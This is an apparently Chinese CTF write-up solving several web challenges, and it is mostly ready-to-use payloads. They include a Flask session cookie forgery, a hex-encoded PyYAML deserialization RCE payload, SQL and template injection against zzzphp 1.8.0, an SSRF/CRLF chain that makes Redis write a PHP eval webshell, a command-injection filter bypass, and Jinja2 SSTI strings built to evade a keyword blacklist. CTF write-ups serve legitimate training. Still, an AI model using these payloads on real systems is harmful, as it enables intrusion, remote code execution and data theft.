profile system
yaml反序列化
可以在uploads下目录穿越得到源码 ./uploads/sandbox/../../../app.py
python 源码如下:
from flask import Flask, render_template, request, flash, redirect, send_file,session
import os
import re
from hashlib import md5
import yaml
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = os.path.join(os.curdir, "uploads")
app.config['SECRET_KEY'] = 'Th1s_is_A_Sup333er_s1cret_k1yyyyy'
ALLOWED_EXTENSIONS = {'yaml','yml'}
def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower()
@app.route("/")
def index():
session['priviledge'] = 'guest'
return render_template("home.html")
@app.route("/upload", methods=["POST"])
def upload():
file = request.files["file"]
if file.filename == '':
flash('No selected file')
return redirect("/")
elif not (allowed_file(file.filename) in ALLOWED_EXTENSIONS):
flash('Please upload yaml/yml only.')
return redirect("/")
else:
dirname = md5(request.remote_addr.encode()).hexdigest()
filename = file.filename
session['filename'] = filename
upload_directory = os.path.join(app.config['UPLOAD_FOLDER'], dirname)
if not os.path.exists(upload_directory):
os.mkdir(upload_directory)
upload_path = os.path.join(app.config['UPLOAD_FOLDER'], dirname, filename)
file.save(upload_path)
return render_template("uploaded.html",path = os.path.join(dirname, filename))
@app.route("/uploads/<path:path>")
def uploads(path):
return send_file(os.path.join(app.config['UPLOAD_FOLDER'], path))
@app.route("/view")
def view():
dirname = md5(request.remote_addr.encode()).hexdigest()
realpath = os.path.join(app.config['UPLOAD_FOLDER'], dirname,session['filename']).replace('..','')
if session['priviledge'] =='elite' and os.path.isfile(realpath):
try:
with open(realpath,'rb') as f:
data = f.read()
if not re.fullmatch(b"^[ -\-/-\]a-}\n]*$",data, flags=re.MULTILINE):
info = {'user': 'elite-user'}
flash('Sth weird...')
else:
info = yaml.load(data)
if info['user'] == 'Administrator':
flash('Welcome admin!')
else:
raise ()
except:
info = {'user': 'elite-user'}
else:
info = {'user': 'guest'}
return render_template("view.html",user = info['user'])
if __name__ == "__main__":
app.run('0.0.0.0',port=8888,threaded=True)
伪造cookie
ha1c9on@ha1c9ondeMacBook-Pro flask-session-cookie-manager-master % python3 flask_session_cookie_manager3.py encode -s 'Th1s_is_A_Sup333er_s1cret_k1yyyyy' -t '{"filename":"test.yaml","priviledge":"elite"}'
eyJmaWxlbmFtZSI6InRlc3QueWFtbCIsInByaXZpbGVkZ2UiOiJlbGl0ZSJ9.X7oWrQ.GEIuZtLFjbvXH1w34MdCDQbTZ9g
主要得绕正则
https://hackmd.io/@harrier/uiuctf20
原题。当时是通外网的。这里写文件就行
flag.yaml
!!python/object/new:tuple
- !!python/object/new:map
- !!python/name:eval
- ["\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x22\x2f\x72\x65\x61\x64\x66\x6c\x61\x67\x20\x2f\x20\x3e\x20\x75\x70\x6c\x6f\x61\x64\x73\x2f\x66\x6c\x61\x67\x22\x29"]
#/readflag > ./uploads/flag
easyzzz
通过更新日志.txt确定 是zzzphp 1.8.0
审计源码发现这里有注入点
GET : /form/index.php?module=getjson
POST:table=gbook&where[]=1=1 union select password from zzz_user&col=1
拿到管理员密码 md5 解下是fuzzy9inve 登陆后台编辑search.html
模板注入
{if:1)echo(cat /flag
);//}{end if}
//可以有非预期 不需要登录后台直接拿文件
doyouknowssrf
原题一把梭,CRLF打Redis
http://eci-2ze5xfvuz0x3wcpba5st.cloudeci1.ichunqiu.com/?url=http://m09ic@127.0.0.1:5000@baidu.com/?url=http://127.0.0.1:6379?%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252428%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B1%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
写shell进去 getshell
Command
view-source:http://eci-2ze5xfvuz0x3oijw67m3.cloudeci1.ichunqiu.com//?url=127.0.0|ca\t%09/etc/.find????/????.txt
用\和%09绕。找flag 发现在etc
flaskbot
报错可以读到部分源码
float(NAN)可以把比赛赢了
name处ssti
测了下,过滤了system eval import os popen flag 拼接下
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['ev'+'al']('__impo'+'rt__("o'+'s").po'+'pen("ls /").read()')}}
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file'](/super_secret_fl'+'ag.txt').read()
import math
import base64
import sys
app = Flask(__name__)
def safe(str):
black_list = ['flag','os','system','popen','import','eval','chr','request', 'subprocess','commands','socket','hex','base64','*','?']
for x in black_list:
if x in str.lower():
return "Damn you hacker! You will never"
return str
def guessNum(num,name):
l=0
r=1000000000.0
mid=(l+r)/2.0
ret=""
cnt=0
while not abs(mid-num)<0.00001:
cnt=cnt+1
mid=(l+r)/2.0
if mid>num:
r=mid
ret+="{0}:{1} is too large<br/>".format(cnt,mid)
else:
l=mid
ret+="{0}:{1} is too small<br/>".format(cnt,mid)
if cnt > 50:
break
if cnt < 50:
ret+="{0}:{1} is close enough<br/>I win".format(cnt,mid)
else :
ret+="Wow! {0} win.".format(safe(name))
return ret
@app.route('/',methods=['POST','GET'])
def Hello():
if request.method == "POST":
user = request.form['name']
resp = make_response(render_template("guess.html",name=user))
resp.set_cookie('user',base64.urlsafe_b64encode(user),max_age=3600)
return resp
else:
user=request.cookies.get('user')
if user == None:
return render_template("index.html")
else:
user=user.encode('utf-8')
return render_template("guess.html",name=base64.urlsafe_b64decode(user))
@app.route('/guess',methods=['POST'])
def Guess():
user=request.cookies.get('user')
if user==None:
return redirect(url_for("Hello"))
user=user.encode('utf-8')
name = base64.urlsafe_b64decode(user)
num = float(request.form['num'])
if(num<0):
return "Too Small"
elif num>1000000000.0:
return "Too Large"
else:
return render_template_string(guessNum(num,name))
@app.errorhandler(404)
def miss(e):
return "What are you looking for?!!".getattr(app, '__name__', getattr(app.__class__, '__name__')), 404
if __name__ == '__main__':
f_handler=open('/var/log/app.log', 'w')
sys.stderr=f_handler
app.run(debug=True, host='0.0.0.0',port=8888)
gogogo
传文件。拿到cookie。cookie中有文件对应的签名
重置靶机。因为用的同一个签名。传完任意文件。替换cookie去访问show就行